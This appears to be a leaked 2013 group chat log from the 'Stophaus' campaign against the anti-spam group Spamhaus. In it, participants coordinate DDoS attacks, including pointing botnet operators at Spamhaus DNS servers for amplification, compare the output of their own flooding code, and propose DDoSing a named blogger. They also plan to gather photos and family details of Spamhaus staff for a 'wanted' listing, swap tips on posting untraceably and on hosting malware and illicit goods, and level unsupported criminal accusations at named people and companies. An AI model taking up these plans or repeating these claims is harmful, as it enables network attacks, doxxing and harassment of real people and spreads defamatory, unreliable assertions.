1684[18.03.2013 19:40:17] -= Darwick =-: she is ugly
1685[18.03.2013 19:40:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: OPERATION STOPHAUS:
1686We demand that The Spamhaus Project, an offshore criminal network of tax circumventing self
1687declared internet terrorists pretending to be 'spam' fighters, seizes the following activities:
16881: Listing personal information, photos, etc, without a permit of applicable authorities, such as the
1689information commissioners office (UK), often combined with slander, at the ROKSO part of their website.
16902: Listing any and all IP space that is not a source of spam, triggering a honeypot, on a per-ip basis, for a defined time, with autoremoval after this period of time.
16913: Listing non-related, non SPAM originating IP space, both of ISPs, their carriers and peers, in an effort to blackmail/extort those ISPs, Carriers and Peers to discontinue service to certain clients Spamhaus doesn't like for whatever 'reason'.
16924: Stop using slanderous terms, such as 'criminal' or 'illegal' or 'fraud' in cases where under applicable (residence of the end-user) law, this is not the case at all. In case Spamhaus thinks
1693something criminal is going on, they have the legal obligation to hand it over to law enforcement, not blackmail people into getting it disconnected without legal process.
16945: Compensate each and everyone ever listed, for damages, regarding the manhours and financial resources spent, to repair the damage done by listing non SPAM related IPs. (most of the listings on spamhaus serve no technical purpose whatsoever, and are only there to blackmail people).
1695Spamhaus has recently blackmailed several multinational carriers into disconnecting clients,
1696breaching their own contracts, without any legal procedure whatsoever, and pretty much everyone
1697on the internet so-far has feared spamhaus too much to report them to the authorities, wether they
1698have a legal department to do so or not. reporting spamhaus to the authorities has shown to result in
1699more listings, such as on their DROP list, which breaks access to significant parts of the internet completely. Spamhaus advertising its use as such, constitutes to breach of the UK Computer Sabotage
1700Act. they know that by listing anything on DROP, they're breaking internet access (at least partially), and use it as a means to terrorize people into giving them their way.
1701for more information about the Spamhaus project, and their network of offshore limiteds they use
1702to circumvent taxation (claiming to be a non-profit in the UK, meanwhile selling illegally harvested and processed datafeeds and whitelistings through companies registered on the bahamas and cyprus),
1703we refer to our forum at http://www.stophaus.com/
1704[18.03.2013 19:40:42] narko: yes that was posted
1705[18.03.2013 19:40:50] narko: http://www.webhostingtalk.com/showpost.php?p=8606059&postcount=92
1706[18.03.2013 20:20:56] eDataKing: Morrison Data Here: http://stophaus.com/forumdisplay.php?133-Thomas-Morrison
1707[18.03.2013 20:22:26] simomchen: strange , I can not read this link
1708[18.03.2013 20:22:39] simomchen: it's redirect into 000webhost
1709[18.03.2013 20:22:39] eDataKing: This would raise the bar for refusal:
1710
1711HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
1712
1713<<< 5: Compensate each and everyone ever listed, for damages, regarding the manhours and financial resources spent, to repair the damage done by listing non SPAM related IPs. (most of the listings on spamhaus serve no technical purpose whatsoever, and are only there to blackmail people).
1714[18.03.2013 20:23:16] simomchen:
1715
1716<<< it's redirect into 000webhostclear your cache or use a different browser
1717[18.03.2013 20:23:30] eDataKing: that was the free host it was on for the first 2 days
1718[18.03.2013 20:23:39] narko: china dns takes so long to update :)
1719[18.03.2013 20:23:52] simomchen: hehe
1720[18.03.2013 20:24:00] simomchen: because the GFW
1721[18.03.2013 20:24:08] eDataKing: use hidemyass.com or similar proxy portal until it propagates in your area
1722[18.03.2013 20:24:34] simomchen: okay
1723[18.03.2013 20:26:07] Yuri: please post on forum stophaus.com all information you can find about them
1724[18.03.2013 20:26:21] Yuri: don't let that information be lost in this long-long-long chat
1725[18.03.2013 20:30:42] simomchen: if we can get pics from the internet , and post it into http://stophaus.com/forumdisplay.php?2-The-Haus-House , that would be greate
1726[18.03.2013 20:33:31] eDataKing: I had a bunch of them on a HD
1727[18.03.2013 20:33:45] eDataKing: they wiped the original stophaus.org out and I lost the backup
1728[18.03.2013 20:33:48] eDataKing: I'll gather them again
1729[18.03.2013 20:35:15] eDataKing: Does anyone else know what they look like
1730[18.03.2013 20:35:20] eDataKing: thick thumbs today
1731[18.03.2013 20:35:33] simomchen: please upload those in the forum. like their ROKSO list
1732[18.03.2013 20:35:59] eDataKing: Too many days without a bong :(
1733[18.03.2013 20:36:22] simomchen: we list them like 'Wanted man' in the forum
1734[18.03.2013 20:36:28] simomchen: https://www.google.com/search?hl=en&site=imghp&tbm=isch&source=hp&biw=1366&bih=573&q=Stephen+John+Linford&oq=Stephen+John+Linford&gs_l=img.3...1479.1479.0.2174.1.1.0.0.0.0.0.0..0.0...0.0...1ac.1.6.img.SHedc6jI-0Y#hl=en&site=imghp&tbm=isch&sa=1&q=spamhaus+Linford&oq=spamhaus+Linford&gs_l=img.3...17210.19132.0.19492.11.11.0.0.0.0.365.1321.6j1j2j1.10.0...0.0...1c.1.6.img.0N6eNDfLhTo&bav=on.2,or.r_qf.&bvm=bv.43828540,d.aWc&fp=4fba18d5b6e3d1ae&biw=1366&bih=573
1735[18.03.2013 20:36:34] eDataKing: yes, you should have seen the old one
1736[18.03.2013 20:36:46] eDataKing: it looked like an FBI Top Ten list
1737[18.03.2013 20:37:08] simomchen: which guy is Linford in the google link ?
1738[18.03.2013 20:37:25] eDataKing: he has a beard and dark tan
1739[18.03.2013 20:38:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm appearantly spamhaus.org is slowly coming back.
1740[18.03.2013 20:38:30] simomchen: if we got their pic , and we can also dig their family. also list them , like they list people. that's called 'Human flesh search' in China , lol
1741[18.03.2013 20:38:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not good :P
1742[18.03.2013 20:38:32] eDataKing: google Steve Linford in images and most all of them are him
1743[18.03.2013 20:39:13] eDataKing: I started to support that for about 2 days and my conscience said it was not right
1744[18.03.2013 20:39:56] simomchen: nothing is right , and nothing is wrong is the world.
1745[18.03.2013 20:40:23] simomchen: winer = right
1746loser = wrong
1747[18.03.2013 20:40:35] simomchen: because history is writen by winers
1748[18.03.2013 20:42:21] simomchen: eg: if spamhaus dead because us. we are not wrong. because all of us can provide many proof for
1749proving spamhaus is criminal organizations. and we can simpliy to post those in the forum.
1750[18.03.2013 20:42:40] simomchen: and spamhaus can not answer us because it already dead
1751[18.03.2013 20:43:16] simomchen: so , if people google something about this , they would think 'oh, spamhaus is criminal organizations , take them down is right'
1752[18.03.2013 20:46:26] eDataKing: I have yet to feel like they have beenmorally or legally right when they smear me or debate in public and the only place they get any real support is from nanae
1753[18.03.2013 20:46:49] eDataKing: now nanae members will go around the web posting smear content anywhere there is anti-spamhaus lit
1754[18.03.2013 20:47:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as if they even know where the action is nowadays... nanae members never heard of facebook or twitter because they never advertised on nntp :P
1755[18.03.2013 20:47:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and they probably discarded the 'xxxx wants you to come on facebook' as 'spam' and sbl'ed it haha
1756[18.03.2013 20:51:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
1757Start monitoring your site immediately!
1758I wish to receive notifications to
1759
1760about problems with following sites
1761[18.03.2013 20:51:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can it notify me when its -up- ? lol
1762[18.03.2013 21:00:07] eDataKing: That is on the server with spamteq.com
1763[18.03.2013 21:00:20] eDataKing: eDataKing:
1764
1765<<< Ok, so SPAMHAUS.MU - Site Location for Spamhaus Logistics Corp.just in case it got lost in the chat
1766[18.03.2013 21:01:12] eDataKing: Article by Laura Atkins updated: http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/
1767[18.03.2013 21:04:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: she's giving away the top-secret domain name for the shitlists haha
1768[18.03.2013 21:04:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they -never- disclose that info anywhere :P
1769[18.03.2013 21:05:00] eDataKing: yup lol
1770[18.03.2013 21:05:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its nowhere to be found on their website or anywhere else how to actually resolve it and she's giving it away haha
1771[18.03.2013 21:05:38] eDataKing: desperation leads to impulsive actions ;)
1772[18.03.2013 21:09:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
1773Mar
177414
17752013
1776Bad Neighborhoods on the Internet
1777
1778By laura in Asides, Industry.
1779
1780Of the 42,000 Internet Service Providers (ISPs) surveyed, just 20 were found to be responsible for nearly half of all the internet addresses that send spam.
1781[18.03.2013 21:09:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what she means is, of the 42000 isps, just 20 picked a fight with spamhaus instead of caving in and got listed with ALL their ip addresses :P
1782[18.03.2013 21:09:46] eDataKing: but they are including softlayer in there
1783[18.03.2013 21:10:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on the other hand, of the 67 sponsors of spamhaus, over half are on the anonymous childporn hosters list.
1784[18.03.2013 21:10:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1785[18.03.2013 21:10:08] eDataKing: and that is a large percent of servers and only 1 of the ISPs
1786[18.03.2013 21:10:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer even is in there -twice-
1787[18.03.2013 21:10:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1788[18.03.2013 21:10:19] eDataKing: as well as the planet
1789[18.03.2013 21:10:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer isn't listed with all their ips, and sponsors them
1790[18.03.2013 21:10:31] eDataKing: add google and it's almost all the servers except for FBs
1791[18.03.2013 21:10:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the planet and softlayer and mediatemple are ALL time warner telecom and ALL resolve DROP
1792[18.03.2013 21:10:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer operates in .nl, and resolves drop there too... breaking the net neutrality law.
1793[18.03.2013 21:11:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: softlayer=networklayer=softlayer inc. = softlayer bv
1794[18.03.2013 21:11:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so yeah they do have contracts in their .nl pop under dutch law
1795[18.03.2013 21:11:42] eDataKing: plus, they have rackspace on there
1796[18.03.2013 21:11:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and therefore cannot use drop
1797[18.03.2013 21:12:01] eDataKing: so, it's not like they are listing 20 little Joe's Data Center's on there
1798[18.03.2013 21:12:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and 'bad neighborhoods'? for originating some spam? seriously... haha
1799[18.03.2013 21:12:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what a joke
1800[18.03.2013 21:13:06] eDataKing: that means that the Mt View, California home I was wanting to move to was over-priced ;)
1801[18.03.2013 21:13:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i found the entire paypal database dump in homedirs of indonesian clients 3 times, 1 time clients hacked a nuclear reactor, 1 time clients hacked the royal treasury
1802[18.03.2013 21:13:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and she's complaining about some spam as if thats the worst thing in the world hahahahahahaa
1803[18.03.2013 21:13:54] eDataKing: lol
1804[18.03.2013 21:15:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wonder how she's liking the 100gbit/s up her ass then :P
1805[18.03.2013 21:15:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: some of it is even on port 25/tcp lol
1806[18.03.2013 21:15:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: should make her forget all about viagra should not it lol
1807[18.03.2013 21:19:41] eDataKing: lol
1808[18.03.2013 21:24:46] -= Darwick =-: I leave now, see ya on irc :)
1809[18.03.2013 21:24:51] *** -= Darwick =- quit ***
1810[18.03.2013 21:40:06] narko: :( but irc is bad
1811[18.03.2013 21:40:21] Cali: s/irc/skype
1812[18.03.2013 21:40:34] Valeriy Uhov: jabber caonference much better
1813[18.03.2013 21:48:55] Yuri: how to do jabber conference?
1814[18.03.2013 21:49:42] Valeriy Uhov: lets install jabber on stophaus.com
1815[18.03.2013 21:49:55] Valeriy Uhov: and all is very simple
1816[18.03.2013 21:49:57] NM: :)
1817[18.03.2013 21:50:21] eDataKing: http://stophaus.com/showthread.php?74-Laura-s-Little-Secret&p=87#post87
1818[18.03.2013 21:50:23] Yuri: own jabber server?
1819[18.03.2013 21:50:30] Valeriy Uhov: yes
1820[18.03.2013 21:50:32] Yuri: i run freebsd there
1821[18.03.2013 21:50:33] eDataKing: sure, but do you really want the chatroom on the same server as the forum?
1822[18.03.2013 21:50:44] eDataKing: lose of 1 server kills secured communications
1823[18.03.2013 21:50:44] Yuri: i think other one server is better
1824[18.03.2013 21:51:08] Yuri: i have domain jabber.sc
1825[18.03.2013 21:51:10] Yuri: not in use
1826[18.03.2013 21:51:10] eDataKing: we already have flashchatinstalled then on a different server. I'll check for that license again
1827[18.03.2013 21:51:18] eDataKing: and it integrates with vB
1828[18.03.2013 21:51:24] eDataKing: one registration for all
1829[18.03.2013 21:51:27] Cali: You love Seychelles Yuri don't you? ;)
1830[18.03.2013 21:51:30] Valeriy Uhov: jabber is the most secure
1831[18.03.2013 21:51:38] Yuri: and one our customer has a jabber server
1832https://jabber.to/
1833[18.03.2013 21:51:42] eDataKing: they are all secured if they are self hosted right?
1834[18.03.2013 21:51:43] Yuri: free for registration
1835[18.03.2013 21:52:01] eDataKing: I guess I must be missing something...
1836[18.03.2013 21:52:02] Cali: I've got my jabberd too :)
1837[18.03.2013 21:52:09] Cali: I called it "theplayground.su" :P
1838[18.03.2013 21:52:31] eDataKing: I am picturing flashchat as a way to guarantee all the data ever taken is on a server in our control.
1839[18.03.2013 21:52:33] Yuri: it's on jabbix
1840[18.03.2013 21:52:38] Yuri: looks working fine.
1841[18.03.2013 21:52:39] Yuri: we can use it
1842[18.03.2013 21:52:49] Yuri: i need to leave right now. be later
1843[18.03.2013 21:52:50] eDataKing: I wanted to reduce any ability for someone at a data center to have any data related to our secured comm.
1844[18.03.2013 21:53:02] eDataKing: np, we can do that then
1845[18.03.2013 21:53:08] eDataKing: I am just thinking out loud
1846[18.03.2013 21:53:33] Yuri: we place all in own datacenters.
1847[18.03.2013 21:53:40] eDataKing: ok
1848[18.03.2013 21:53:42] Yuri: not anybody resselling
1849[18.03.2013 21:53:50] NM: Confirm)
1850[18.03.2013 21:53:52] eDataKing: that's the important part
1851[18.03.2013 21:54:03] Yuri: stophaus placed in clean infium host.
1852[18.03.2013 21:54:08] Yuri: jabber.to is our server
1853[18.03.2013 21:54:19] Yuri: anycase we can give domain jabber.sc for anybody else
1854[18.03.2013 21:54:42] eDataKing: yeah, nanae is already running checks on stophaus
1855[18.03.2013 21:54:55] eDataKing: good thing it got off that free host
1856[18.03.2013 21:55:08] narko: what do you mean checks?
1857[18.03.2013 21:55:25] Yuri: i am sure they try to investigate who and what do.
1858[18.03.2013 21:55:36] eDataKing: yeah, that
1859[18.03.2013 21:55:47] eDataKing: just whois and NS lookups
1860[18.03.2013 21:55:50] Yuri: so all activity should not relate to the people who actively fight with them like we are or bunker.
1861[18.03.2013 21:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh they're scared of us :P
1862[18.03.2013 21:56:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so thats no problem
1863[18.03.2013 21:56:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nothing the little piss nerds can do anyway
1864[18.03.2013 21:56:21] eDataKing: that would make sense, but they'll use it to their advantage and say it is a 'criminal spam gang'Â
1865[18.03.2013 21:56:27] eDataKing: but that's their nature
1866[18.03.2013 21:56:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at the moment they can't say anything as their website is more down than ours
1867[18.03.2013 21:56:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1868[18.03.2013 21:56:50] eDataKing: lol, true
1869[18.03.2013 21:56:58] eDataKing: and it is being noticed for sure
1870[18.03.2013 21:57:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and by the time this is over they'll realize that i have like 3850 facebook friends on my main account and some more on others
1871[18.03.2013 21:57:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and that that is a PR fight they'll never win
1872[18.03.2013 21:57:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1873[18.03.2013 21:57:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with their 6 or so followers on their spamhaus twitter
1874[18.03.2013 21:57:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
1875[18.03.2013 21:58:06] eDataKing: they can't win the PR battle without using the SBL to takedown opposing content
1876[18.03.2013 21:58:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: <Surgery> ik steun die actie sowieso wel
1877<Surgery> de stekker eruit bij stephen
1878[1] 20:52 cb3rob (+i) on *private* (+ns) * type /help for help
1879[18.03.2013 21:58:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which is, #xs4all :P
1880[18.03.2013 21:58:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
1881[18.03.2013 21:58:19] Yuri: i posted some good posts on webhostingtalk. i will add some gas in this firework
1882[18.03.2013 21:58:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just reply to all those 'we cannot get unlisted because its dooownnnn' ppl 'you should not have been listed in the first place'
1883[18.03.2013 21:58:55] eDataKing: good stuff, just follow all the rules of /b ;)
1884[18.03.2013 21:59:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nor can spamhaus demand that -you- waste your time in getting their illegal listing remoed
1885[18.03.2013 21:59:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1886[18.03.2013 22:00:22] eDataKing: we can capitalize on the opportunity to see all the false positives that get caught up and make a report based on true stats.
1887[18.03.2013 22:00:48] eDataKing: that monitter site makes that easy
1888[18.03.2013 22:01:01] Yuri: nagios says - they still all down.
1889website and smtp
1890http://antispamhaus.org/nagios
1891[18.03.2013 22:01:11] eDataKing: :)
1892[18.03.2013 22:01:22] narko: yes my mail is spammed
1893[18.03.2013 22:02:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Current Status
1894
1895 Tactical Overview
1896 Map
1897[18.03.2013 22:02:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1898[18.03.2013 22:03:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah thats because nagios is designed to inform you when its -down- not when its -up-
1899[18.03.2013 22:03:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1900[18.03.2013 22:06:14] narko: lol
1901[18.03.2013 22:06:20] narko: nanae is a joke
1902[18.03.2013 22:06:24] narko: every topic is about spamhaus
1903[18.03.2013 22:08:41] eDataKing: nanae essentially is spamhaus
1904[18.03.2013 22:08:58] eDataKing: follow the same people back and you'll see them posting on alt.math groups in 1998 together
1905[18.03.2013 22:09:56] eDataKing: there are a few people that post that are not involved in Spamhaus, but generally speaking they are almost invariably trusted Spamhaus volunteers
1906[18.03.2013 22:10:16] narko: can I post without showing my name and gmail addrerss?
1907[18.03.2013 22:13:50] eDataKing: yes, use a fake gmail address for one.
1908[18.03.2013 22:13:58] eDataKing: use a VPN or proxy config
1909[18.03.2013 22:14:56] eDataKing: and it will post as the email address the first time. Click the <change name> option beside the screen name and make it whatever you want
1910[18.03.2013 22:15:32] eDataKing: they track browser config, posting host, and newsreader hops in the headers.
1911[18.03.2013 22:15:38] narko: lol
1912[18.03.2013 22:15:52] eDataKing: So, you don't want any of that to be something they can backtrace
1913[18.03.2013 22:22:40] Yuri: C:\Program Files>ping spamhaus.org
1914
1915Þñüõý ÿðúõтðüø Ѡspamhaus.org [154.35.160.11] Ѡ32 ñðùтðüø ôðýýых:
1916Þтòõт þт 208.49.181.177: ×ðôðýýыù у÷õû ýõôþÑÂтуÿõý.
1917[18.03.2013 22:22:46] Yuri: looks they nulled IP
1918[18.03.2013 22:23:04] Yuri: NetRange: 208.48.224.0 - 208.50.127.255
1919CIDR: 208.48.224.0/19, 208.49.0.0/16, 208.50.0.0/17
1920OriginAS: AS3549
1921NetName: LVLT-ORG-208-48-224
1922NetHandle: NET-208-48-224-0-1
1923Parent: NET-208-0-0-0-0
1924NetType: Direct Allocation
1925RegDate: 1999-07-29
1926Updated: 2012-03-02
1927Ref: http://whois.arin.net/rest/net/NET-208-48-224-0-1
1928
1929OrgName: Level 3 Communications, Inc.
1930OrgId: LVLT
1931Address: 1025 Eldorado Blvd.
1932City: Broomfield
1933StateProv: CO
1934PostalCode: 80021
1935Country: US
1936[18.03.2013 22:23:10] Yuri: level3 nulled them
1937[18.03.2013 22:23:23] eDataKing: wow, that is crazy!
1938[18.03.2013 22:51:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1939[18.03.2013 22:51:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: told ya, nobody likes spamhaus
1940[18.03.2013 22:51:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1941[18.03.2013 22:51:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what a -great- excuse to nullroute them :P
1942[18.03.2013 22:51:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1943[18.03.2013 22:55:33] eDataKing: well, they have been terminated from 3 providers now so shouldn't they have a ROKSO file?
1944[18.03.2013 22:56:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1945[18.03.2013 23:03:51] Cali: but meanwhile cb3rob is disconnected.
1946[18.03.2013 23:03:57] narko: http://whois.domaintools.com/41.201.233.39
1947[18.03.2013 23:03:58] narko: wtf is this
1948[18.03.2013 23:04:14] narko: algeria telecom with a chinese abuse address
1949[18.03.2013 23:04:37] Cali: just chinese investing there.
1950[18.03.2013 23:11:40] Antitheist: Eric says
1951
1952I wanted to thank Laura here on the blog for all of her help today. We are now de-listed thanks to her connections with some folks at Spamhaus (that don't require use of their currently DDOS'd website)! We have isolated the root cause to some infected machines that use outbound stuff on port 80 (which we don't block so people can use the web)! So we are now confident that we wont get re-listed. Thanks again Laura.
1953[18.03.2013 23:11:51] Antitheist: Laura == shithaus
1954[18.03.2013 23:11:57] narko: |-(
1955[18.03.2013 23:12:09] narko: ôуõы òòщф ôфóúф
1956[18.03.2013 23:12:14] narko: lets ddos laura
1957[18.03.2013 23:12:34] Antitheist: yes
1958[18.03.2013 23:12:48] Antitheist: for sure, that website is nanae
1959[18.03.2013 23:13:00] narko: and host a large network of anti-spamhaus sites on kazakhtelecom
1960[18.03.2013 23:13:01] Antitheist: or the spamhaus "unplugged" fuckheads
1961[18.03.2013 23:13:11] Antitheist: AS9198?
1962[18.03.2013 23:13:18] narko: yes
1963[18.03.2013 23:13:22] Antitheist: lately they are afraind of spamhaus
1964[18.03.2013 23:13:31] Antitheist: i got an offical letter that tells me to fuck off lil
1965[18.03.2013 23:13:32] Antitheist: lol
1966[18.03.2013 23:13:38] narko: i used kazaktelecom before for hosting malware sites
1967[18.03.2013 23:13:40] narko: ;)
1968[18.03.2013 23:13:43] narko: they are nice
1969[18.03.2013 23:13:46] Antitheist: gohost?
1970[18.03.2013 23:13:49] narko: nhost.kz
1971[18.03.2013 23:14:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
1972[18.03.2013 23:14:03] narko: but for reverse proxying they are really too far from europe
1973[18.03.2013 23:14:14] narko: my site was slow
1974[18.03.2013 23:14:27] eDataKing: Laura is a primary operative
1975[18.03.2013 23:14:35] eDataKing: her husband hosts the blocklist
1976[18.03.2013 23:15:25] narko: hw can kazaktelecom be afraid of spamhaus when they are hosting so many child porn and carding sites :^)
1977[18.03.2013 23:15:30] narko: on the block andrey_lorer_corporation
1978[18.03.2013 23:16:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
1979[18.03.2013 23:16:42] narko: on this block is only cp and carding
1980[18.03.2013 23:16:50] narko: and the hosts own website has been defaced since 2009
1981[18.03.2013 23:16:51] narko: lol
1982[18.03.2013 23:17:16] eDataKing: lol
1983[18.03.2013 23:26:40] narko: It seems that "Stophaus" aka Andrew Stephens is still beating his Spamhaus are TERRORISTS dead horse, he was spanked off of the usenet newsgroup news.admin.net-abuse.email with this and his libel posts about regulars on there.
1984
1985He created stophaus.com over the weekend with about a dozen of his sockpuppets.
1986[18.03.2013 23:27:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha
1987[18.03.2013 23:27:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we're his sockpuppets now haha
1988[18.03.2013 23:32:52] narko: what do yo uthink the chances are of getting caught if i import viagra,propecia,etc from india and sell it to europeans
1989[18.03.2013 23:33:16] narko: need more money ]:)
1990[18.03.2013 23:39:47] Antitheist: depends how you import
1991[18.03.2013 23:39:54] Antitheist: i did it on very small scales
1992[18.03.2013 23:40:04] Antitheist: imported toys from asia with yaba
1993[18.03.2013 23:40:33] narko: I import but only for personal use and small quantities such as 500 tablets per package
1994[18.03.2013 23:40:41] narko: I only sell to a few friends
1995[18.03.2013 23:42:27] narko: and western union banned my name after i tried to send $2000 to islamabad
1996[18.03.2013 23:42:33] narko: now all my payments are instant returned
1997[18.03.2013 23:42:35] narko: (angry)
1998[18.03.2013 23:44:37] Cali: so lame.
1999[18.03.2013 23:44:37] Antitheist: lol
2000[18.03.2013 23:44:40] Cali: just find a drop.
2001[18.03.2013 23:44:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
2002[18.03.2013 23:46:40] Yuri: hi boys.
2003[18.03.2013 23:46:50] Yuri: i got information that a lot of hackers duscass now on forums
2004[18.03.2013 23:46:58] Yuri: that spamhaus fucked bunker
2005[18.03.2013 23:47:08] Yuri: and a lot of hackers with own botnets start to ddos spamhaus...
2006[18.03.2013 23:47:14] narko: lol
2007[18.03.2013 23:47:17] eDataKing: lol
2008[18.03.2013 23:47:19] narko: they are wasting their bandwidth
2009[18.03.2013 23:47:21] narko: the ips are null routed
2010[18.03.2013 23:47:36] Yuri: isn't that an idea to connect all that hackers to stresss some DNSs of spamhaus ?
2011[18.03.2013 23:47:45] narko: dns yes
2012[18.03.2013 23:47:56] Yuri: if all they go down - realy fun begin.
2013[18.03.2013 23:48:33] Cali: so I don't understand, what is the plan to put cyberbunker back online?
2014[18.03.2013 23:49:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm just give them the link of all nameservers
2015[18.03.2013 23:49:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2016[18.03.2013 23:49:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can have some fun with that.. dns amplification etc
2017[18.03.2013 23:49:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2018[18.03.2013 23:49:53] Yuri: it will be nice idea if one spamhaus DNS will ddons other one spamhaus dns, each other.
2019[18.03.2013 23:50:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: curently trying but not much effect.
2020[18.03.2013 23:50:08] Yuri: Sven, you are good coder and admin, test that.
2021[18.03.2013 23:50:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: plus i only seem capable of chunking out some 250mbit per box
2022[18.03.2013 23:50:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with this code
2023[18.03.2013 23:50:30] Yuri: Cali, you have logins on forums, please check some popular places where people discuss.
2024[18.03.2013 23:50:39] Yuri: i think it's just idea to give them info what to do.
2025[18.03.2013 23:50:39] narko: with my code i can do only 300-450 .. there are restrictions somewhere
2026[18.03.2013 23:50:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: NET | bond0 ---- | pcki 7350 | pcko 1704245 | si 1442 Kbps | so 117 Mbps |
2027[18.03.2013 23:50:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: bbbut that is a 6gbit link
2028[18.03.2013 23:50:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2029[18.03.2013 23:51:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so there are some ratelimits in the kernel on sock_raw
2030[18.03.2013 23:51:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i guess
2031[18.03.2013 23:51:11] narko: I have a very good idea for cyberbunker to be back online
2032[18.03.2013 23:51:35] narko: just colocate with leaseweb and use a GRE tunnel on your network with www.ibroadbased.com :P
2033[18.03.2013 23:51:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah last time i was doing router kernels i noticed some ratelimits on sock_raw
2034[18.03.2013 23:51:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly the whole thing is getting depreciated as well
2035[18.03.2013 23:52:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: think i'll just change the code to use a tun interface
2036[18.03.2013 23:52:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: pretty much the same thing anyway
2037[18.03.2013 23:52:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2038[18.03.2013 23:54:02] Cali: yeah, I think we should work on putting cyberbunker back online.
2039[18.03.2013 23:54:20] Cali: because if I was spamhaus I would feel like I won still.
2040[18.03.2013 23:54:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm well then just transit prefixes you see with 34109 in front.
2041[18.03.2013 23:54:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and any asn behind it
2042[18.03.2013 23:54:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which includes.. several of you guys lol
2043[18.03.2013 23:55:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: otherwise we'll just try to buy new transits over the coming days
2044[18.03.2013 23:55:34] Cali: How are your customers re-acting to that?
2045[18.03.2013 23:55:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they're like 'we'll be back when its sorted out'
